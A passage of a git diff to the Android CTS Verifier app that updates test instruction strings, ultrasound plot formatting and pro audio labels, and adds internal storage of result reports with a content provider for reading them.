@@ -29,6 +29,9 @@
-keepclasseswithmembers class * extends com.android.cts.verifier.location.LocationModeTestActivity
+-keepclasseswithmembers class * extends com.android.cts.verifier.audio.HifiUltrasoundSpeakerTestActivity
+-keepclasseswithmembers class * extends com.android.cts.verifier.audio.HifiUltrasoundTestActivity
+
# keep mockito methods
-keep class org.mockito.** { *; }
-keep interface org.mockito.** { *; }
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index 71edb718b17..31824996d88 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -13,6 +13,24 @@
android:layout_width="match_parent"
android:layout_height="wrap_content">
<TextView
+ android:text="@string/proAudioHasProAudiolbl"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:textSize="18sp"/>
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:paddingLeft="10dp"
+ android:paddingRight="10dp"
+ android:id="@+id/proAudioHasProAudioLbl"
+ android:textSize="18sp"/>
+ </LinearLayout>
+
+ <LinearLayout android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+ <TextView
android:text="@string/proAudioHasLLAlbl"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 057ac463b10..31fdb880211 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2803,7 +2803,7 @@ You should be prompted to select credentials; choose the ones you just installed
Please press the Go button to open the Settings page.
(If this device has a separate app for work settings, ignore the Go button and navigate to that app manually).\n
\n
- Navigate to \"Data usage\" page and then into the \"Wi-Fi data usage\" category.\n
+ Navigate to the \"Network &amp; Internet\" page and then click on \"Wi-Fi\" and then \"Wi-Fi data usage\".\n
Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
(If the section is not present, this might be because work apps have not used Wi-Fi data yet. Ensure that you have used Wi-Fi data on a work app, then repeat these instructions.)\n
\n
@@ -2819,7 +2819,7 @@ You should be prompted to select credentials; choose the ones you just installed
Please press the Go button to open the Settings page.
(If this device has a separate app for work settings, ignore the Go button and navigate to that app manually).\n
\n
- Navigate to \"Data usage\" page and then into the \"Mobile data usage\" category.\n
+ Navigate to the \"Network &amp; Internet\" page and then click on \"Mobile network\" and then \"App data usage\".\n
Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
\n
Then use the Back button (or navigate back to this app using Recents) to return to this test and mark accordingly.
@@ -3639,10 +3639,12 @@ You should be prompted to select credentials; choose the ones you just installed
<string name="device_owner_disallow_remove_user_info">
Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
\'Set restriction\' button to set the user restriction.
- Then press \'Go\' to open \'Multiple users\' setting. \n\n
+ Then press \'Go\' to open \'Multiple users\' setting. \n
+ Click the Settings icon adjacent to the managed user.\n\n
Mark this test as passed if:\n\n
- - Main switch is disabled and in off position\n
+ - \"Delete User\" is disabled.\n
+ - Tapping \"Delete user\" shows an \"Action not allowed\" dialog.\n
\n
Use the Back button to return to this page.
</string>
@@ -3650,8 +3652,9 @@ You should be prompted to select credentials; choose the ones you just installed
Please press the \'Set restriction\' button to set the user restriction.
Then press \'Go\' to open \'Multiple users\' setting. \n\n
- Mark this test as passed if one of the following conditions is met:\n\n
- - Main switch is disabled and in off position\n
+ Mark this test as passed if all of the following conditions are met:\n\n
+ - The \"Delete managed user from this device\" option in the overflow menu is disabled\n
+ - Clicking \"Delete managed user from this device\" in the overflow menu results in an \"Action not allowed\" dialog.\n
\n
Use the Back button to return to this page.
</string>
@@ -3962,7 +3965,7 @@ You should be prompted to select credentials; choose the ones you just installed
7) Verify that at the bottom of Quick Settings, you are told the device is managed by \"Foo, Inc.\".\n
8) Tap on the information.\n
9) Verify that a dialog informing you about device monitoring opens.\n
- 10) Tap the \"Learn more\" link.\n
+ 10) Tap the \"View Policies\" button.\n
11) Verify that a screen informing you what your managing organization can do is shown.\n
\n
Use the Back button to return to this page. If this device does not have quick settings, please skip this test and mark it passing.
@@ -4424,6 +4427,7 @@ You should be prompted to select credentials; choose the ones you just installed
<!-- Pro Audio Tests -->
<string name="pro_audio_latency_test">Pro Audio Test</string>
+ <string name="proAudioHasProAudiolbl">Has Pro Audio</string>
<string name="proAudioHasLLAlbl">Has Low-Latency Audio</string>
<string name="proAudioInputLbl">Audio Input:</string>
<string name="proAudioOutputLbl">Audio Output:</string>
@@ -4444,6 +4448,10 @@ You should be prompted to select credentials; choose the ones you just installed
<string name="audio_proaudio_NA">N/A</string>
<string name="audio_proaudio_pending">pending...</string>
+ <string name="audio_proaudio_nopa_title">Pro Audio Test</string>
+ <string name="audio_proaudio_nopa_message">This device does not set the FEATURE_AUDIO_PRO
+ flag and therefore does not need to run this test.</string>
+
<!-- MIDI Test -->
<string name="midi_test">MIDI Test</string>
<string name="ndk_midi_test">Native MIDI API Test</string>
@@ -5058,10 +5066,10 @@ Follow the instructions on the screen to measure the frequency response for the
<string name="bubbles_notification_test_verify_9">Click the button below and verify that a bubble
appears on screen, auto-expanded.</string>
<string name="bubbles_notification_test_button_9">Send auto-expanded bubble notification</string>
+ <string name="bubbles_notification_no_bubbles_low_mem">No bubbles on low memory device; no tests to run</string>
<string name="bubbles_test_summary_title">Test Complete</string>
<string name="bubbles_test_summary">%1$d out of %2$d tests passed</string>
<string name="bubble_activity_title">Bubble Activity</string>
-
<!-- Strings for Instant Apps -->
<string name="ia_instruction_heading_label">Instructions:</string>
<string name="ia_instruction_text_photo_label">READ BEFORE STARTING TEST</string>
@@ -5082,9 +5090,16 @@ Follow the instructions on the screen to measure the frequency response for the
1. Click Start Test. \n\n
2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
+ 4. Skip this step in china version. \n\n
+ 5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
+ </string>
+ <string name="ia_notification_instruction_label_no_app_market_version">\n
+ 1. Click Start Test. \n\n
+ 2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
+ 3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
4. Check if Instant App is shown in notification area with the following (Please expand the notification if it is collapsed): \n
\u0020\u0020\u0020a. It provides information about Instant Apps not requiring installation and an action that provides more information about the Instant App. \n
- \u0020\u0020\u0020b. It provides an action allowing the user to launch the associated link with web browser. \n\n
+ \u0020\u0020\u0020b. Skip this step in china version.Can not launch the associated link with web browser. \n\n
5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
</string>
<string name="ia_recents">Instant Apps Recents Test</string>
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml
index 9c6de77742f..dd182365272 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml
@@ -3,4 +3,4 @@
linePaint.strokeWidth="3dp"
linePaint.color="#AA0000"
vertexPaint.color="#770000"
- fillPaint.color="#00000000" />
+ fillPaint.color="#770000" />
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml
index 8fb236e0bb0..0f27503babc 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml
@@ -3,4 +3,4 @@
linePaint.strokeWidth="2dp"
linePaint.color="#777777"
vertexPaint.color="777777"
- fillPaint.color="#00000000" />
+ fillPaint.color="#770000" />
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml
index 9a6c29a541e..011f20bf3b7 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml
@@ -3,4 +3,4 @@
linePaint.strokeWidth="2dp"
linePaint.color="#007700"
vertexPaint.color="#007700"
- fillPaint.color="#00000000" />
+ fillPaint.color="#880000" />
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml
index 3f9ffc2c712..ce09dfb0fd3 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml
@@ -1,6 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<config
- linePaint.strokeWidth="1dp"
- linePaint.color="#AAAAAA"
- vertexPaint.color="#777777"
- fillPaint.color="#00000000" />
+ linePaint.strokeWidth="3dp"
+ linePaint.color="#00AA00"
+ vertexPaint.color="#007700"
+ fillPaint.color="#00ff00"
+ pointLabelFormatter.textPaint.color="#FFFFFF"/>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index 1629e1b0972..85c2753b386 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -21,52 +21,43 @@ import android.content.Context;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
import com.android.compatibility.common.util.FileUtil;
import com.android.compatibility.common.util.IInvocationResult;
-import com.android.compatibility.common.util.InvocationResult;
import com.android.compatibility.common.util.ResultHandler;
import com.android.compatibility.common.util.ZipUtil;
import org.xmlpull.v1.XmlPullParserException;
-import java.io.BufferedOutputStream;
import java.io.File;
-import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
-import java.lang.System;
-import java.nio.file.Files;
-import java.nio.file.Paths;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.logging.Level;
import java.util.logging.Logger;
-import java.util.zip.ZipEntry;
-import java.util.zip.ZipOutputStream;
/**
* Background task to generate a report and save it to external storage.
*/
class ReportExporter extends AsyncTask<Void, Void, String> {
+ public static final String REPORT_DIRECTORY = "verifierReports";
+
+ private static final Logger LOG = Logger.getLogger(ReportExporter.class.getName());
private static final String COMMAND_LINE_ARGS = "";
private static final String LOG_URL = null;
private static final String REFERENCE_URL = null;
private static final String SUITE_NAME_METADATA_KEY = "SuiteName";
private static final String SUITE_PLAN = "verifier";
private static final String SUITE_BUILD = "0";
-
private static final long START_MS = System.currentTimeMillis();
private static final long END_MS = START_MS;
-
- private static final String REPORT_DIRECTORY = "verifierReports";
private static final String ZIP_EXTENSION = ".zip";
-
- protected static final Logger LOG = Logger.getLogger(ReportExporter.class.getName());
-
private final Context mContext;
private final TestListAdapter mAdapter;
@@ -122,9 +113,26 @@ class ReportExporter extends AsyncTask<Void, Void, String> {
// delete the temporary directory and its files made for the report
FileUtil.recursiveDelete(tempDir);
}
+ saveReportOnInternalStorage(reportZipFile);
return mContext.getString(R.string.report_saved, reportZipFile.getPath());
}
+ private void saveReportOnInternalStorage(File reportZipFile) {
+ try {
+ ParcelFileDescriptor pfd = ParcelFileDescriptor.open(
+ reportZipFile, ParcelFileDescriptor.MODE_READ_ONLY);
+ InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+
+ File verifierDir = mContext.getDir(REPORT_DIRECTORY, Context.MODE_PRIVATE);
+ File verifierReport = new File(verifierDir, reportZipFile.getName());
+ FileOutputStream fos = new FileOutputStream(verifierReport);
+
+ FileUtils.copy(is, fos);
+ } catch (Exception e) {
+ LOG.log(Level.WARNING, "I/O exception writing report to internal storage.", e);
+ }
+ }
+
/**
* Copy the XML formatting files stored in the assets directory to the result output.
*
@@ -153,7 +161,7 @@ class ReportExporter extends AsyncTask<Void, Void, String> {
private String getReportName(String suiteName) {
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy.MM.dd_HH.mm.ss", Locale.ENGLISH);
String date = dateFormat.format(new Date());
- return String.format( "%s-%s-%s-%s-%s-%s",
+ return String.format("%s-%s-%s-%s-%s-%s",
date, suiteName, Build.MANUFACTURER, Build.PRODUCT, Build.DEVICE, Build.ID);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
index 64c04eb8249..a2ef71d0416 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
@@ -16,8 +16,6 @@
package com.android.cts.verifier;
-import com.android.compatibility.common.util.ReportLog;
-
import android.app.backup.BackupManager;
import android.content.ContentProvider;
import android.content.ContentResolver;
@@ -25,22 +23,63 @@ import android.content.ContentValues;
import android.content.Context;
import android.content.UriMatcher;
import android.database.Cursor;
+import android.database.MatrixCursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
import android.database.sqlite.SQLiteQueryBuilder;
import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+
+import com.android.compatibility.common.util.ReportLog;
import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectOutputStream;
+import java.util.Arrays;
+import java.util.Comparator;
-/** {@link ContentProvider} that provides read and write access to the test results. */
+import androidx.annotation.NonNull;
+
+/**
+ * {@link ContentProvider} that provides read and write access to the test results.
+ */
public class TestResultsProvider extends ContentProvider {
+ static final String _ID = "_id";
+ /** String name of the test like "com.android.cts.verifier.foo.FooTestActivity" */
+ static final String COLUMN_TEST_NAME = "testname";
+ /** Integer test result corresponding to constants in {@link TestResult}. */
+ static final String COLUMN_TEST_RESULT = "testresult";
+ /** Boolean indicating whether the test info has been seen. */
+ static final String COLUMN_TEST_INFO_SEEN = "testinfoseen";
+ /** String containing the test's details. */
+ static final String COLUMN_TEST_DETAILS = "testdetails";
+ /** ReportLog containing the test result metrics. */
+ static final String COLUMN_TEST_METRICS = "testmetrics";
+
+ /**
+ * Report saved location
+ */
+ private static final String REPORTS_PATH = "reports";
private static final String RESULTS_PATH = "results";
+ private static final UriMatcher URI_MATCHER = new UriMatcher(UriMatcher.NO_MATCH);
+ private static final int RESULTS_ALL = 1;
+ private static final int RESULTS_ID = 2;
+ private static final int RESULTS_TEST_NAME = 3;
+ private static final int REPORT = 4;
+ private static final int REPORT_ROW = 5;
+ private static final int REPORT_FILE_NAME = 6;
+ private static final int REPORT_LATEST = 7;
+ private static final String TABLE_NAME = "results";
+ private SQLiteOpenHelper mOpenHelper;
+ private BackupManager mBackupManager;
/**
* Get the URI from the result content.
+ *
* @param context
* @return Uri
*/
@@ -52,6 +91,7 @@ public class TestResultsProvider extends ContentProvider {
/**
* Get the URI from the test name.
+ *
* @param context
* @param testName
* @return Uri
@@ -61,33 +101,45 @@ public class TestResultsProvider extends ContentProvider {
return Uri.withAppendedPath(getResultContentUri(context), testName);
}
- static final String _ID = "_id";
-
- /** String name of the test like "com.android.cts.verifier.foo.FooTestActivity" */
- static final String COLUMN_TEST_NAME = "testname";
-
- /** Integer test result corresponding to constants in {@link TestResult}. */
- static final String COLUMN_TEST_RESULT = "testresult";
-
- /** Boolean indicating whether the test info has been seen. */
- static final String COLUMN_TEST_INFO_SEEN = "testinfoseen";
-
- /** String containing the test's details. */
- static final String COLUMN_TEST_DETAILS = "testdetails";
-
- /** ReportLog containing the test result metrics. */
- static final String COLUMN_TEST_METRICS = "testmetrics";
-
- private static final UriMatcher URI_MATCHER = new UriMatcher(UriMatcher.NO_MATCH);
- private static final int RESULTS_ALL = 1;
- private static final int RESULTS_ID = 2;
- private static final int RESULTS_TEST_NAME = 3;
+ static void setTestResult(Context context, String testName, int testResult,
+ String testDetails, ReportLog reportLog) {
+ ContentValues values = new ContentValues(2);
+ values.put(TestResultsProvider.COLUMN_TEST_RESULT, testResult);
+ values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
+ values.put(TestResultsProvider.COLUMN_TEST_DETAILS, testDetails);
+ values.put(TestResultsProvider.COLUMN_TEST_METRICS, serialize(reportLog));
- private static final String TABLE_NAME = "results";
+ final Uri uri = getResultContentUri(context);
+ ContentResolver resolver = context.getContentResolver();
+ int numUpdated = resolver.update(uri, values,
+ TestResultsProvider.COLUMN_TEST_NAME + " = ?",
+ new String[]{testName});
- private SQLiteOpenHelper mOpenHelper;
+ if (numUpdated == 0) {
+ resolver.insert(uri, values);
+ }
+ }
- private BackupManager mBackupManager;
+ private static byte[] serialize(Object o) {
+ ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
+ ObjectOutputStream objectOutput = null;
+ try {
+ objectOutput = new ObjectOutputStream(byteStream);
+ objectOutput.writeObject(o);
+ return byteStream.toByteArray();
+ } catch (IOException e) {
+ return null;
+ } finally {
+ try {
+ if (objectOutput != null) {
+ objectOutput.close();
+ }
+ byteStream.close();
+ } catch (IOException e) {
+ // Ignore close exception.
+ }
+ }
+ }
@Override
public boolean onCreate() {
@@ -96,43 +148,19 @@ public class TestResultsProvider extends ContentProvider {
URI_MATCHER.addURI(authority, RESULTS_PATH, RESULTS_ALL);
URI_MATCHER.addURI(authority, RESULTS_PATH + "/#", RESULTS_ID);
URI_MATCHER.addURI(authority, RESULTS_PATH + "/*", RESULTS_TEST_NAME);
+ URI_MATCHER.addURI(authority, REPORTS_PATH, REPORT);
+ URI_MATCHER.addURI(authority, REPORTS_PATH + "/latest", REPORT_LATEST);
+ URI_MATCHER.addURI(authority, REPORTS_PATH + "/#", REPORT_ROW);
+ URI_MATCHER.addURI(authority, REPORTS_PATH + "/*", REPORT_FILE_NAME);
mOpenHelper = new TestResultsOpenHelper(getContext());
mBackupManager = new BackupManager(getContext());
return false;
}
- private static class TestResultsOpenHelper extends SQLiteOpenHelper {
-
- private static final String DATABASE_NAME = "results.db";
-
- private static final int DATABASE_VERSION = 6;
-
- TestResultsOpenHelper(Context context) {
- super(context, DATABASE_NAME, null, DATABASE_VERSION);
- }
-
- @Override
- public void onCreate(SQLiteDatabase db) {
- db.execSQL("CREATE TABLE " + TABLE_NAME + " ("
- + _ID + " INTEGER PRIMARY KEY AUTOINCREMENT, "
- + COLUMN_TEST_NAME + " TEXT, "
- + COLUMN_TEST_RESULT + " INTEGER,"
- + COLUMN_TEST_INFO_SEEN + " INTEGER DEFAULT 0,"
- + COLUMN_TEST_DETAILS + " TEXT,"
- + COLUMN_TEST_METRICS + " BLOB);");
- }
-
- @Override
- public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
- db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
- onCreate(db);
- }
- }
-
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
- String sortOrder) {
+ String sortOrder) {
SQLiteQueryBuilder query = new SQLiteQueryBuilder();
query.setTables(TABLE_NAME);
@@ -153,6 +181,19 @@ public class TestResultsProvider extends ContentProvider {
query.appendWhere("\"" + uri.getPathSegments().get(1) + "\"");
break;
+ case REPORT:
+ final MatrixCursor cursor = new MatrixCursor(new String[]{"filename"});
+ for (String filename : getFileList()) {
+ cursor.addRow(new Object[]{filename});
+ }
+ return cursor;
+
+ case REPORT_FILE_NAME:
+ case REPORT_ROW:
+ case REPORT_LATEST:
+ throw new IllegalArgumentException(
+ "Report query not supported. Use content read.");
+
default:
throw new IllegalArgumentException("Unknown URI: " + uri);
}
@@ -163,6 +204,19 @@ public class TestResultsProvider extends ContentProvider {
@Override
public Uri insert(Uri uri, ContentValues values) {
+ int match = URI_MATCHER.match(uri);
+ switch (match) {
+ case REPORT:
+ throw new IllegalArgumentException(
+ "Report insert not supported. Use content query.");
+ case REPORT_FILE_NAME:
+ case REPORT_ROW:
+ case REPORT_LATEST:
+ throw new IllegalArgumentException(
+ "Report insert not supported. Use content read.");
+ default:
+ break;
+ }
SQLiteDatabase db = mOpenHelper.getWritableDatabase();
long id = db.insert(TABLE_NAME, null, values);
getContext().getContentResolver().notifyChange(uri, null);
@@ -195,7 +249,14 @@ public class TestResultsProvider extends ContentProvider {
selection = testNameSelection;
}
break;
-
+ case REPORT:
+ throw new IllegalArgumentException(
+ "Report update not supported. Use content query.");
+ case REPORT_FILE_NAME:
+ case REPORT_ROW:
+ case REPORT_LATEST:
+ throw new IllegalArgumentException(
+ "Report update not supported. Use content read.");
default:
throw new IllegalArgumentException("Unknown URI: " + uri);
}
@@ -211,6 +272,20 @@ public class TestResultsProvider extends ContentProvider {
@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
+ int match = URI_MATCHER.match(uri);
+ switch (match) {
+ case REPORT:
+ throw new IllegalArgumentException(
+ "Report delete not supported. Use content query.");
+ case REPORT_FILE_NAME:
+ case REPORT_ROW:
+ case REPORT_LATEST:
+ throw new IllegalArgumentException(
+ "Report delete not supported. Use content read.");
+ default:
+ break;
+ }
+
SQLiteDatabase db = mOpenHelper.getWritableDatabase();
int numDeleted = db.delete(TABLE_NAME, selection, selectionArgs);
if (numDeleted > 0) {
@@ -225,43 +300,113 @@ public class TestResultsProvider extends ContentProvider {
return null;
}
- static void setTestResult(Context context, String testName, int testResult,
- String testDetails, ReportLog reportLog) {
- ContentValues values = new ContentValues(2);
- values.put(TestResultsProvider.COLUMN_TEST_RESULT, testResult);
- values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
- values.put(TestResultsProvider.COLUMN_TEST_DETAILS, testDetails);
- values.put(TestResultsProvider.COLUMN_TEST_METRICS, serialize(reportLog));
+ @Override
+ public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode)
+ throws FileNotFoundException {
+ String fileName;
+ String[] fileList;
+ File file;
+ int match = URI_MATCHER.match(uri);
+ switch (match) {
+ case REPORT_ROW:
+ int rowId = Integer.parseInt(uri.getPathSegments().get(1));
+ file = getFileByIndex(rowId);
+ break;
- final Uri uri = getResultContentUri(context);
- ContentResolver resolver = context.getContentResolver();
- int numUpdated = resolver.update(uri, values,
- TestResultsProvider.COLUMN_TEST_NAME + " = ?",
- new String[] {testName});
+ case REPORT_FILE_NAME:
+ fileName = uri.getPathSegments().get(1);
+ file = getFileByName(fileName);
+ break;
- if (numUpdated == 0) {
- resolver.insert(uri, values);
- }
- }
+ case REPORT_LATEST:
+ file = getLatestFile();
+ break;
- private static byte[] serialize(Object o) {
- ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
- ObjectOutputStream objectOutput = null;
+ case REPORT:
+ throw new IllegalArgumentException("Read not supported. Use content query.");
+
+ case RESULTS_ALL:
+ case RESULTS_ID:
+ case RESULTS_TEST_NAME:
+ throw new IllegalArgumentException("Read not supported for URI: " + uri);
+
+ default:
+ throw new IllegalArgumentException("Unknown URI: " + uri);
+ }
try {
- objectOutput = new ObjectOutputStream(byteStream);
- objectOutput.writeObject(o);
- return byteStream.toByteArray();
+ FileInputStream fis = new FileInputStream(file);
+ return ParcelFileDescriptor.dup(fis.getFD());
} catch (IOException e) {
- return null;
- } finally {
- try {
- if (objectOutput != null) {
- objectOutput.close();
- }
- byteStream.close();
- } catch (IOException e) {
- // Ignore close exception.
+ throw new IllegalArgumentException("Cannot open file.");
+ }
+ }
+
+
+ private File getFileByIndex(int index) {
+ File[] files = getFiles();
+ if (files.length == 0) {
+ throw new IllegalArgumentException("No report saved at " + index + ".");
+ }
+ return files[index];
+ }
+
+ private File getFileByName(String fileName) {
+ File[] files = getFiles();
+ if (files.length == 0) {
+ throw new IllegalArgumentException("No reports saved.");
+ }
+ for (File file : files) {
+ if (fileName.equals(file.getName())) {
+ return file;
}
}
+ throw new IllegalArgumentException(fileName + " not found.");
+ }
+
+ private File getLatestFile() {
+ File[] files = getFiles();
+ if (files.length == 0) {
+ throw new IllegalArgumentException("No reports saved.");
+ }
+ return files[files.length - 1];
+ }
+
+ private String[] getFileList() {
+ return Arrays.stream(getFiles()).map(File::getName).toArray(String[]::new);
+ }
+
+ private File[] getFiles() {
+ File dir = getContext().getDir(ReportExporter.REPORT_DIRECTORY, Context.MODE_PRIVATE);
+ File[] files = dir.listFiles();
+ Arrays.sort(files, Comparator.comparingLong(File::lastModified));
+ return files;
+ }
+
+ private static class TestResultsOpenHelper extends SQLiteOpenHelper {
+
+ private static final String DATABASE_NAME = "results.db";
+
+ private static final int DATABASE_VERSION = 6;
+
+ TestResultsOpenHelper(Context context) {
+ super(context, DATABASE_NAME, null, DATABASE_VERSION);
+ }
+
+ @Override
+ public void onCreate(SQLiteDatabase db) {
+ db.execSQL("CREATE TABLE " + TABLE_NAME + " ("
+ + _ID + " INTEGER PRIMARY KEY AUTOINCREMENT, "
+ + COLUMN_TEST_NAME + " TEXT, "
+ + COLUMN_TEST_RESULT + " INTEGER,"
+ + COLUMN_TEST_INFO_SEEN + " INTEGER DEFAULT 0,"
+ + COLUMN_TEST_DETAILS + " TEXT,"
+ + COLUMN_TEST_METRICS + " BLOB);");
+ }
+
+ @Override
+ public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
+ db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
+ onCreate(db);
+ }
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index 1a9ffaca6ac..87618b17399 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -37,9 +37,12 @@ import android.widget.PopupWindow;
import android.widget.TextView;
import java.util.Arrays;
+import com.androidplot.xy.PointLabelFormatter;
+import com.androidplot.xy.LineAndPointFormatter;
import com.androidplot.xy.SimpleXYSeries;
+import com.androidplot.xy.XYPlot;
import com.androidplot.xy.XYSeries;
-import com.androidplot.xy.*;
+import com.androidplot.xy.XYStepMode;
import com.android.compatibility.common.util.CddTest;
@@ -279,7 +282,7 @@ public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity
LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
seriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_trials);
- seriesFormat.setPointLabelFormatter(null);
+ seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
plot.addSeries(series, seriesFormat);
}
@@ -296,7 +299,7 @@ public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity
LineAndPointFormatter noiseSeriesFormat = new LineAndPointFormatter();
noiseSeriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_noise);
- noiseSeriesFormat.setPointLabelFormatter(null);
+ noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
plot.addSeries(noiseSeries, noiseSeriesFormat);
double[] dB = wavAnalyzerTask.getDB();
@@ -312,7 +315,7 @@ public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity
LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
seriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_median);
- seriesFormat.setPointLabelFormatter(null);
+ seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
plot.addSeries(series, seriesFormat);
Double[] passX = new Double[] {Common.MIN_FREQUENCY_HZ, Common.MAX_FREQUENCY_HZ};
@@ -322,7 +325,7 @@ public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity
LineAndPointFormatter passSeriesFormat = new LineAndPointFormatter();
passSeriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_pass);
- passSeriesFormat.setPointLabelFormatter(null);
+ passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
plot.addSeries(passSeries, passSeriesFormat);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
index 0276e60aaff..9aebbc4b2d6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
@@ -37,9 +37,12 @@ import android.widget.PopupWindow;
import android.widget.TextView;
import java.util.Arrays;
+import com.androidplot.xy.PointLabelFormatter;
+import com.androidplot.xy.LineAndPointFormatter;
import com.androidplot.xy.SimpleXYSeries;
+import com.androidplot.xy.XYPlot;
import com.androidplot.xy.XYSeries;
-import com.androidplot.xy.*;
+import com.androidplot.xy.XYStepMode;
public class HifiUltrasoundTestActivity extends PassFailButtons.Activity {
@@ -236,9 +239,9 @@ public class HifiUltrasoundTestActivity extends PassFailButtons.Activity {
Arrays.asList(powerWrap),
"");
LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+ seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
seriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_trials);
- seriesFormat.setPointLabelFormatter(null);
plot.addSeries(series, seriesFormat);
}
@@ -253,9 +256,9 @@ public class HifiUltrasoundTestActivity extends PassFailButtons.Activity {
Arrays.asList(noiseDBWrap),
"background noise");
LineAndPointFormatter noiseSeriesFormat = new LineAndPointFormatter();
+ noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
